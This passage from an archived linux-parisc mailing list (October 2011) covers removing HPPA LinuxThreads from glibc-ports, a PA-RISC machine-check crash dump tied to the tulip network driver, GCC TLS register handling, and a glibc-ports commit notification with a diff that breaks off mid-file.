WF8REPz8Fa3AkjtF2PUsjHRGCxgc3wdm9koqjj9N6cyeJ2av8C3cTMDNhQWYEZTq
3xbKynMI4m4RYj9ZRceI5Id/T4SQ/naQloBLrbfbsqtlEEgShxRnA8ymKC4BXrHC
KoF3ULXyWCqXMd0lCPah0etu7My4EqqpQ7laLC33klmT7Jm/RPiKhTlsM8b7qoxl
aYXQjKqJY9V3xU8fpkWeWMImmlGLtnzoV7xgtiyDYLRqNDyTtN4E6XvBcDiWjTa7
gAQSOLAL9yBhEZSDkWs/n6FWugsMOnZFg7edA+jeOKSx6M2HCFbB/8gfnklcW8Jb
oNC+WqLhWSQtNXcGJNTIDnG+bFzpoIuHGarXZXqd9nxDu/QmW7hrGASrpThd5F0J
XLr364RrzH150k4aCqtdcD6MWfZHOxxHnsAJf9JnVu3J+2OBeU7fBXyshd4LrDaB
3cTcs2vP7AGbwhhEiZhr/diuuZlIB0duc2W5ZHpO34uAFEXbIypJnjaFp8YQ99mQ
c4yxtFk3feI5KIKO9TAYcYgIeKYP2qBGoK2Gjy6+swmwdnzEXigkMdTtXWZc6RIx
xxRc9pHYVjByhoeDQAin
=WqPk
-----END PGP SIGNATURE-----

--nextPart1607603.J82LT7Zjv1--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.gentoo.hppa
Subject: Re: Removing HPPA Linuxthreads support in glibc-ports.
Date: Thu, 20 Oct 2011 16:35:22 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <4EA0860A.3030901@systemhalted.org>
References: <CADZpyiwAqDmsb4TLCwo0KGBm9c_Y1P9iLir8gXJBOJPOTiRr4g@mail.gmail.com> <201110201631.52046.vapier@gentoo.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1319142932 14627 80.91.229.12 (20 Oct 2011 20:35:32 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 20 Oct 2011 20:35:32 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	Debian HPPA Port List <debian-hppa@lists.debian.org>,
	Gentoo HPPA <gentoo-hppa@lists.gentoo.org>
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 20 22:35:27 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RGzKp-0000zn-BO
	for glpp-linux-parisc@lo.gmane.org; Thu, 20 Oct 2011 22:35:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752325Ab1JTUf0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 20 Oct 2011 16:35:26 -0400
Original-Received: from mail-qy0-f174.google.com ([209.85.216.174]:59343 "EHLO
	mail-qy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751939Ab1JTUf0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 20 Oct 2011 16:35:26 -0400
Original-Received: by qyk4 with SMTP id 4so6015335qyk.19
        for <linux-parisc@vger.kernel.org>; Thu, 20 Oct 2011 13:35:25 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=sender:message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:x-enigmail-version:content-type
         :content-transfer-encoding;
        bh=oh9d/QLq3o1BCsFu4dd8rnnp6dGrw7Yv37UIYjm38ac=;
        b=kVg49uZ2Iqd4cSK9bR0SVAZYaVJcWIRn9n5Fnu/ad2PkKrbVfT4AVAyvMbbOrEz8Z5
         iaF8SCBZIs7WmjexdyvHYy2nEwHfRdQfU8kjCKbsOQNpOOpAY2pH9SFguFpFQ6FYJwIY
         7KtTVeKX1PQl+CAEbxBxnq0YsyW0p03eKowdg=
Original-Received: by 10.68.27.36 with SMTP id q4mr8170725pbg.90.1319142925181;
        Thu, 20 Oct 2011 13:35:25 -0700 (PDT)
Original-Received: from [192.168.2.18] (bas3-ottawa23-1177594034.dsl.bell.ca. [70.48.168.178])
        by mx.google.com with ESMTPS id y4sm22342391pbe.4.2011.10.20.13.35.23
        (version=SSLv3 cipher=OTHER);
        Thu, 20 Oct 2011 13:35:24 -0700 (PDT)
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20110929 Thunderbird/7.0.1
In-Reply-To: <201110201631.52046.vapier@gentoo.org>
X-Enigmail-Version: 1.3.2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3993 gmane.linux.debian.ports.hppa:6729 gmane.linux.gentoo.hppa:68
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3993>

On 10/20/2011 4:31 PM, Mike Frysinger wrote:

> On Thursday 20 October 2011 14:55:46 Carlos O'Donell wrote:

>> I plan to remove all HPPA Linuxthreads support from glibc-ports.

>>

>> The support is well past bit-rotten.

>>

>> Is anyone opposed to this?

> 

> guess we don't have much choice since it's been purged from the core.  but 

> nptl support isn't mainlined yet right ? :/



I'm pushing those patches out ASAP.



The patches have been around forever though and we've ironed out a lot of kinks.



Cheers,

Carlos.



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rolf Eike Beer" <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC running CMake Nightly tests
Date: Fri, 21 Oct 2011 10:26:57 +0200
Lines: 201
Approved: news@gmane.org
Message-ID: <1c7b6eb5f6657272fe96ad90b79f215f.squirrel@webmail.sf-mail.de>
References: <d21336a9332d91f209ba666bd94f3acd.squirrel@webmail.sf-mail.de>
    <20111012043201.GA22657@parisc-linux.org>
    <335757fae9d67623b229652e74aba015.squirrel@webmail.sf-mail.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: dough.gmane.org 1319185633 27951 80.91.229.12 (21 Oct 2011 08:27:13 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 21 Oct 2011 08:27:13 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 21 10:27:06 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RHARU-0007Fh-4p
	for glpp-linux-parisc@lo.gmane.org; Fri, 21 Oct 2011 10:27:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751562Ab1JUI1C (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 21 Oct 2011 04:27:02 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:55834 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751268Ab1JUI1A (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 21 Oct 2011 04:27:00 -0400
Original-Received: (qmail 8120 invoked by uid 81); 21 Oct 2011 08:26:57 -0000
Original-Received: from 80.150.94.234
        (SquirrelMail authenticated user eike@sf-mail.de)
        by webmail.sf-mail.de with HTTP;
        Fri, 21 Oct 2011 10:26:57 +0200
In-Reply-To: <335757fae9d67623b229652e74aba015.squirrel@webmail.sf-mail.de>
User-Agent: SquirrelMail/1.4.22
X-Priority: 3 (Normal)
Importance: Normal
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3994
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3994>

>> On Tue, Sep 27, 2011 at 09:32:37AM +0200, Rolf Eike Beer wrote:
>>> I'm running the CMake tests every night. This is the second time in a
>>> row
>>> that my C3600 did not survive this. Since I was warned I connected a
>>> serial console.
>> ...
>>
>>> But then the machine got killed:
>>>
>>> Backtrace:
>>>  [<1030b9ec>] tulip_get_stats+0x34/0x5c
>>>  [<1038ac20>] dev_get_stats+0x98/0xe8
>>>  [<102946b4>] led_work_func+0x11c/0x310
>>>  [<10145204>] process_one_work+0x120/0x3ac
>>>  [<10147110>] worker_thread+0x174/0x338
>>>  [<1014b0b4>] kthread+0x9c/0xa4
>>>  [<10102c5c>] ret_from_kernel_thread+0x1c/0x24
>>>
>>>
>>> High Priority Machine Check (HPMC): Code=1 regs=10551080
>>> (Addr=00000000)
>>>
>>>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
>>> PSW: 00000000000001001111111100001110 Not tainted
>>> r00-03  0004ff0e 105bf000 1030b9ec 2fc72000
>>> r04-07  0000000f 00000000 00000000 00000000
>>> r08-11  2fc72000 105bf600 2fea4208 7f000000
>>> r12-15  2fea4210 105ba000 10544000 2fc2f408
>>> r16-19  1041d1dc f000017c f0000174 2fea4210
>>> r20-23  0099f055 0099f050 1030b9b8 00000000
>>> r24-27  2ff57008 2fea4210 0004a040 10544000
>>> r28-31  0004a040 f68e066d 2fea4400 1038ac20
>>> sr00-03  00000000 00000000 00000000 00000017
>>> sr04-07  00000000 00000000 00000000 00000000
>>>
>>> IASQ: 00000000 00000000 IAOQ: 10284394 10284398
>>>  IIR: 0f80109c    ISR: a627ffd0  IOR: 0204a040
>>>  CPU:        0   CR30: 2fea4000 CR31: ffffdffe
>>>  ORIG_R28: 00000000
>>>  IAOQ[0]: ioread32+0xc/0x4c
>>
>> Usually the HMPC means tulip tried to read something
>> from MMIO space that didn't respond and this
>> resulted in a "Master Abort" (PCI bus controller
>> had to abort the transaction). On PCs that's not
>> fatal but is on many RISC architectures.
>>
>> If you can decode the instruction pointer (ioread32+0x10) to figure out
>> which register is used to dereference the MMIO address, it would
>> be obvious what the offending address is - just to confirm the
>> pointer isn't pointing off into the weeds. It will be one of the
>> registers that contains a 0xfnnnnnnn address.
>
> I will have a look.
>
>> Interrupt the boot process and collect the HPMC dump as described:
>>    http://www.parisc-linux.org/faq/kernelbug-howto.html>
>>
>> The output will include the offending address that the ioread32 was
>> trying to access to confirm the instruction was decoded correctly.
>> If anyone has access to the magic decoder ring, we might be able to tell
>> more.

Ok, I have another one. I removed all those parts that did not show any
errors or where the register contents were all zeros.

Timestamp =
  Thu Oct  20 09:05:52 GMT 2011    (20:11:10:20:09:05:52)

HPMC Chassis Codes = 2cbf0  2500b  2cbfb

General Registers 0 - 31
00-03   0000000000000000  00000000105bf000  000000001030bbd4 
000000002fe46000
04-07   000000000000000f  0000000000000000  0000000000000000 
0000000000000008
08-11   000000002fe46000  00000000105bf600  000000002fec8208 
000000007f000000
12-15   000000002fec8210  00000000105ba000  0000000010544000 
000000002fc2f408
16-19   000000001041d1dc  00000000f000017c  00000000f0000174 
000000002fec8210
20-23   000000000108ce00  000000000108cdf3  000000001030bba0 
0000000000000000
24-27   000000000000f424  000000002fec8210  000000000004a040 
0000000010544000
28-31   000000000004a040  0000000000000000  000000002fec8400 
000000001038ae40

Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000 
0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000 
0000000000000000
08-11   000000000000004e  0000000000000000  00000000000000c0 
000000000000003d
12-15   0000000000000000  0000000000000000  0000000000102000 
00000000fe000000
16-19   0000230bfe918584  0000000000000000  0000000010284504 
000000000f80109c
20-23   00000000a627ffd0  000000000204a040  000000ff0006fc0e 
0000000080000000
24-27   0000000000594000  000000011ec4a000  00000000ffffffff 
00000000ffffffff
28-31   00000000ffffffff  00000000ffffffff  000000002fec8000 
00000000ffffffff
Space Registers 0 - 7

00-03   00000000          00000000          00000000          00000027
04-07   00000000          00000000          00000000          00000000

IIA Space                    = 0x0000000000000000
IIA Offset                   = 0x0000000010284508
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x0030103b
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x000000fff4008040
System Requestor Address     = 0xfffffffffffa0000

Floating-Point Registers 0 - 31
00-03   0000001f00000000  0000000000000000  0000000000000000 
0000000000000000
04-07   0000000a00000000  0000000000000000  0000000000000000 
0000000049ba5e35
08-11   0000000000000000  1059900010544330  0000000000000000 
105fbd602fe470c8
12-15   ffffffff00000000  0000000000000000  0000000000000000 
0000000000000000
16-19   95380000ffffffff  8008000000000000  0010000000000000 
9118000000000000
20-23   8108000000000000  8008000000000000  0000000000000000 
0000000100000000
24-27   0000000000000000  0000000000090a6e  0000000000000015 
0000000000000000
28-31   ffffffff0000313c  1055f1d010544000  0000000100000228 
2fc302001011a234

'9000/785 B,C,J Workstation Unarchitected (per-CPU)', rev 1, 140 bytes:

Check Summary                = 0xcb81041008000000
Available Memory             = 0x0000000020000000
CPU Diagnose Register 2      = 0x0301000000000004
CPU Status Register 0        = 0x2420c20000000000
CPU Status Register 1        = 0x8002000000000000
SADD LOG                     = 0x4b023fd9e8190951
Read Short LOG               = 0xc1af00fff4008040
ERROR_STATUS                 = 0x0000000000100010
MEM_ADDR                     = 0x000001ff3fffffff
MEM_SYND                     = 0x0000000000000000
MEM_ADDR_CORR                = 0x000001ff3fffffff
MEM_SYND_CORR                = 0x0000000000000000
RUN_DATA_HIGH                = 0xc1bff0fffed08040
RUN_DATA_LOW                 = 0xc1bff0fffed08040
RUN_CTRL                     = 0x0000021c00001418
RUN_ADDR                     = 0xc1bff0fffed08040
System Responder Path        = 0x00ffffff0a000c00


HPMC PIM Analysis Information:

Timestamp =
  Thu Oct  20 09:05:52 GMT 2011    (20:11:10:20:09:05:52)


'9000/785 B,C,J Workstation HPMC PIM Analysis (per-CPU)', rev 0, 1304 bytes:

A Data I/O Fetch Timeout occurred while CPU 0 was
requesting information from a device at the path 10/0/12/0 (built-in PCI
device).


I/O Module Error Log Information:

Timestamp =
  Thu Oct  20 09:05:52 GMT 2011    (20:11:10:20:09:05:52)


'9000/785 B,C,J Workstation IO Error Log', rev 0, 228 bytes:

 Rope     Word1        Word2            Word3
------ ------------ ------------
   0    0x00000000   0x0e0cc2a9   0x00000000fed30048
   1    0x00000000   0x1e0cc009   0x00000000fed32048
   2    ----------   0x2e0cc009   ------------------
   3    ----------   0x3e0cc009   ------------------
   4    0x00000000   0x4e0cc009   0x00000000fed38048
   5    ----------   0x5e0cc009   ------------------
   6    0x00000000   0x6e0cc009   0x00000000fed3c048
   7    ----------   0x7e0cc009   ------------------

Eike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: [PATCH] parisc: futex: Use same lock set as lws calls
Date: Fri, 21 Oct 2011 10:49:31 -0400
Lines: 47
Approved: news@gmane.org
Message-ID: <CADZpyizJx5fHwv5aHqoN-u1D95ph6dw8S+cAHKRS=MR6Y0WaPQ@mail.gmail.com>
References: <20111009204010.GA22374@hiauly1.hia.nrc.ca>
	<20111017152358.GA3518@glitch>
	<CADZpyixDV_OD+YM+u2EMWqY91u_WtGGMM0J3fAofp99q+OWYnA@mail.gmail.com>
	<4E9C6F9E.5000605@bell.net>
	<BLU0-SMTP701E485C5A8DBAF113D35E97EB0@phx.gbl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1319208579 29254 80.91.229.12 (21 Oct 2011 14:49:39 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 21 Oct 2011 14:49:39 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 21 16:49:35 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RHGPe-0008BW-Uc
	for glpp-linux-parisc@lo.gmane.org; Fri, 21 Oct 2011 16:49:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753662Ab1JUOtd convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 21 Oct 2011 10:49:33 -0400
Original-Received: from mail-gy0-f174.google.com ([209.85.160.174]:42556 "EHLO
	mail-gy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752134Ab1JUOtd convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 21 Oct 2011 10:49:33 -0400
Original-Received: by gyb13 with SMTP id 13so3914777gyb.19
        for <linux-parisc@vger.kernel.org>; Fri, 21 Oct 2011 07:49:32 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=rblfhJUfYfmUsM9hij1qxmpz6rGg4CpKXCPFye1ridY=;
        b=l5zp207N9rlTb2ZrpOQaJogtiir1fv71JkGuM15iekFeqDmgr54iODlkrTQA0hi0H4
         YJim3nLAMZJ2BDgyBFJzofFoQtPOeM5NfUuGcZaO+/dq89sCOD/KV54dblgupnan1dJE
         FylZPBZz7DvqPhH8dWV3zImrP34gjnvhTSpiY=
Original-Received: by 10.42.154.7 with SMTP id o7mr25394717icw.48.1319208572327; Fri,
 21 Oct 2011 07:49:32 -0700 (PDT)
Original-Received: by 10.42.239.198 with HTTP; Fri, 21 Oct 2011 07:49:31 -0700 (PDT)
In-Reply-To: <BLU0-SMTP701E485C5A8DBAF113D35E97EB0@phx.gbl>
X-Google-Sender-Auth: kfTTJ0nxym1B8EbmuHqg-f4xzco
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3995 gmane.linux.debian.ports.hppa:6730
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3995>

On Wed, Oct 19, 2011 at 9:47 PM, John David Anglin <dave.anglin@bell.ne=
t> wrote:
> I looked at this a bit. =A0The problem is legitimize_tls_address does=
n't work
> properly. First, GCC doesn't know that the libcall needs r26 and ret0=
 when the
> __thread variable is an argument to a call. =A0Secondly, the implemen=
tation of __tls_get_addr
> clobbers some other call clobbered registers. =A0I'm thinking the gli=
bc implementation
> might need to be in assembly language so that the clobbered registers=
 are limited (i.e.,
> it needs to save registers). =A0 This all seems really ugly...
>
> The issues occur in generating PIC code.

Yes, __tls_get_addr is a normal C function and follows normal function
register usage.

Why does __tls_get_addr need to be a special function?

Almost all the targets in glibc-ports have C versions of __tls_get_addr=
=2E

=46or example I notice that on Alpha the call to __tls_get_addr is *not=
*
done via a emit_library_call_value, instead they use some emit_insn,
emit_libcall_block and use_reg.

So it looks like they tamper with the register usage via use_reg
before the call to __tls_get_addr?

Another example is Sparc which also uses a custom sequence and
manipulates the used registers.

I think our legitimize_tls_address needs to be rewritten to match
something like what alpha or sparc has, otherwise we are going to run
into trouble trying to get emit_library_call_value to work correctly.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: glibc-ports update for hppa.
Date: Fri, 21 Oct 2011 11:57:37 -0400
Lines: 2595
Approved: news@gmane.org
Message-ID: <CADZpyiy52SW5+c2ez0RPx8nt_wr3OYpfAHP74buakNimkc+1zg@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1319212671 28299 80.91.229.12 (21 Oct 2011 15:57:51 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 21 Oct 2011 15:57:51 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave.anglin@bell.net>,
	Debian HPPA Port List <debian-hppa@lists.debian.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 21 17:57:44 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RHHTZ-0006k4-Qu
	for glpp-linux-parisc@lo.gmane.org; Fri, 21 Oct 2011 17:57:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752766Ab1JUP5l convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 21 Oct 2011 11:57:41 -0400
Original-Received: from mail-gx0-f174.google.com ([209.85.161.174]:46566 "EHLO
	mail-gx0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752628Ab1JUP5j convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 21 Oct 2011 11:57:39 -0400
Original-Received: by ggnb1 with SMTP id b1so3983950ggn.19
        for <linux-parisc@vger.kernel.org>; Fri, 21 Oct 2011 08:57:38 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:date:x-google-sender-auth:message-id:subject
         :from:to:content-type:content-transfer-encoding;
        bh=ijLmRu5IomMmLPkc0XKpziPZ2xEd0YSexu3xr5eXFrg=;
        b=qWvJRhpWN5CjNuYrCQTqnnaT3QEyl3Y2g101o7k5daI3USHCJWdvBgcwlcLYZgS4tG
         hYrNucEuLnr6Q6YLxBH9Tc+Qsnaj7Nx7IrzHS3htJ6lWaGtqIX0NHpXc8yPzYlHwL8Qb
         B9NBJASow2gdQkFlxpQzFg7BYd7yOIdHAEmjc=
Original-Received: by 10.42.161.70 with SMTP id s6mr25765145icx.40.1319212657666; Fri,
 21 Oct 2011 08:57:37 -0700 (PDT)
Original-Received: by 10.42.239.198 with HTTP; Fri, 21 Oct 2011 08:57:37 -0700 (PDT)
X-Google-Sender-Auth: OtTrFeaFE9Na1e9swGqZt2j4lbg
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3996 gmane.linux.debian.ports.hppa:6731
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3996>

Team,

I've pushed out 9 commits for glibc-ports that help bring hppa closer
to building directly from upstream source.

These commits have been a part of the debian patch set for a long time
now and are very stable.

Thank you for your patience.

Cheers,
Carlos.

---------- Forwarded message ----------
=46rom:  <carlos@sourceware.org>
Date: Fri, Oct 21, 2011 at 11:53 AM
Subject: Community source repository for glibc add-on ports branch,
master, updated. glibc-2.14-35-g8cb8321
To: glibc-cvs@sourceware.org


This is an automated email from the git hooks/post-receive script. It w=
as
generated because a ref change was pushed to the repository containing
the project "Community source repository for glibc add-on ports".

The branch, master has been updated
=A0 =A0 =A0 via =A08cb8321faf2edcf36d5061e8fc4c8fec4b23fd39 (commit)
=A0 =A0 =A0 via =A0f84ed6825441096273a893b66a769e37ef68f2f3 (commit)
=A0 =A0 =A0 via =A025f991b858ffc104a5b6720ae229cee4e88c976f (commit)
=A0 =A0 =A0 via =A09dd87de7ff43261dc83c74cc561ae392a405663f (commit)
=A0 =A0 =A0 via =A0930046be6fedf95d9fce6548bf58ad5e33023d67 (commit)
=A0 =A0 =A0 via =A05ce24e77ed89f2a6c11175e3798050246dfd9c04 (commit)
=A0 =A0 =A0 via =A02ab0965cb022dfdbd397eb88f96447393b4118b7 (commit)
=A0 =A0 =A0 via =A0451398f8b87c2a7c6bed7d6650a6cfbca43f9189 (commit)
=A0 =A0 =A0 via =A0ab653f4dbe37d6244057f3f2ab33078357b6d708 (commit)
=A0 =A0 =A0from =A0db6a567d0ddd816b1134651ddb66b66dbea2f40d (commit)

Those revisions listed above that are new to this repository have
not appeared on any other notification email; so we list those
revisions in full, below.

- Log -----------------------------------------------------------------
http://sources.redhat.com/git/gitweb.cgi?p=3Dglibc-ports.git;a=3Dcommit=
diff;h=3D8cb8321faf2edcf36d5061e8fc4c8fec4b23fd39

commit 8cb8321faf2edcf36d5061e8fc4c8fec4b23fd39
Author: Carlos O'Donell <carlos@systemhalted.org>
Date: =A0 Fri Oct 21 10:08:04 2011 -0400

=A0 =A0Update cancellable assembly system call wrappers.

=A0 =A0This patch updates sysdep-cancel.h to include the
=A0 =A0new no-cancel wrapper and provides CFI directives
=A0 =A0for all of the assembly. The CFI directives should
=A0 =A0allow unwinding information to be generated.

=A0 =A0Signed-off-by: Carlos O'Donell <carlos@sytemhalted.org>

diff --git a/ChangeLog.hppa b/ChangeLog.hppa
index b83f4f0..564ca0f 100644
--- a/ChangeLog.hppa
+++ b/ChangeLog.hppa
@@ -1,5 +1,24 @@
=A02011-10-20 =A0Carlos O'Donell =A0<carlos@systemhalted.org>

+ =A0 =A0 =A0 * sysdeps/unix/sysv/linux/hppa/nptl/sysdep-cancel.h: Upda=
te copyright
+ =A0 =A0 =A0 year.
+ =A0 =A0 =A0 (PSEUDO): Define __*_nocancel version. Add CFI directives=
 to
__*_nocancel
+ =A0 =A0 =A0 and normal version.
+ =A0 =A0 =A0 (PUSHARGS_1): Add CFI directive.
+ =A0 =A0 =A0 (PUSHARGS_2): Likewise.
+ =A0 =A0 =A0 (PUSHARGS_3): Likewise.
+ =A0 =A0 =A0 (PUSHARGS_4): Likewise.
+ =A0 =A0 =A0 (PUSHARGS_5): Likewise.
+ =A0 =A0 =A0 (PUSHARGS_6): Likewise.
+ =A0 =A0 =A0 (POPARGS_1): Likewise.
+ =A0 =A0 =A0 (POPARGS_2): Likewise.
+ =A0 =A0 =A0 (POPARGS_3): Likewise.
+ =A0 =A0 =A0 (POPARGS_4): Likewise.
+ =A0 =A0 =A0 (POPARGS_5): Likewise.
+ =A0 =A0 =A0 (POPARGS_6): Likewise.
+
+2011-10-20 =A0Carlos O'Donell =A0<carlos@systemhalted.org>
+
=A0 =A0 =A0 =A0* sysdeps/unix/sysv/linux/hppa/linuxthreads/aio_cancel.c=
: Remove.
=A0 =A0 =A0 =A0* sysdeps/unix/sysv/linux/hppa/linuxthreads/bits/initspi=
n.h: Remove.
=A0 =A0 =A0 =A0* sysdeps/unix/sysv/linux/hppa/linuxthreads/bits/pthread=
types.h: Remove.
diff --git a/sysdeps/unix/sysv/linux/hppa/nptl/sysdep-cancel.h
b/sysdeps/unix/sysv/linux/hppa/nptl/sysdep-cancel.h
index 6cffa76..d704345 100644
--- a/sysdeps/unix/sysv/linux/hppa/nptl/sysdep-cancel.h
+++ b/sysdeps/unix/sysv/linux/hppa/nptl/sysdep-cancel.h
@@ -1,4 +1,4 @@
-/* Copyright (C) 2005 Free Software Foundation, Inc.
+/* Copyright (C) 2005, 2011 Free Software Foundation, Inc.
=A0 =A0This file is part of the GNU C Library.

=A0 =A0The GNU C Library is free software; you can redistribute it and/=
or
@@ -61,11 +61,53 @@

=A0# undef PSEUDO
